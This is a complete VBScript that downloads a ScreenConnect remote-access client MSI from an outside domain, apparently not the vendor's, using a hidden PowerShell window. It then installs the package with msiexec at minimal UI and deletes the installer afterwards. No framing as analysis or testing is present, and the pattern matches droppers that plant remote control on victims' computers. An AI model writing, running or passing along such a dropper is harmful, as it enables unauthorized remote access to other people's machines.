Option Explicit 
Dim shell, fso, msiLoc, msiUri, logPath, logFilePath 
 
Set shell = CreateObject("WScript.Shell") 
Set fso = CreateObject("Scripting.FileSystemObject") 
 
' Log file location 
logPath = shell.ExpandEnvironmentStrings("%TEMP%") & "\install_log.txt" 
Set logFilePath = fso.OpenTextFile(logPath, 8, True) 
 
' Logging function 
Sub LogMessage(message) 
    logFilePath.WriteLine Now & " - " & message 
End Sub 
 
msiUri = "https://con.x9clator.io/Bin/ScreenConnect.ClientSetup.msi?e=Access&y=Guest" 
msiLoc = shell.ExpandEnvironmentStrings("%TEMP%") & "\ScreenConnect.ClientSetup.msi" 
 
LogMessage "Starting download..." 
 
' Download using PowerShell (most reliable) 
shell.Run "powershell -Command ""Invoke-WebRequest -Uri '" & msiUri & "' -OutFile '" & msiLoc & "' -UseBasicParsing""", 0, True 
 
WScript.Sleep 3000 
 
If fso.FileExists(msiLoc) Then 
    LogMessage "Download successful. Starting installation..." 
    shell.Run "msiexec /i """ & msiLoc & """ /qb /norestart", 1, True 
    fso.DeleteFile msiLoc, True 
    LogMessage "Installation completed." 
Else 
    LogMessage "Failed to download installer." 
End If 
 
logFilePath.Close 
WScript.Quit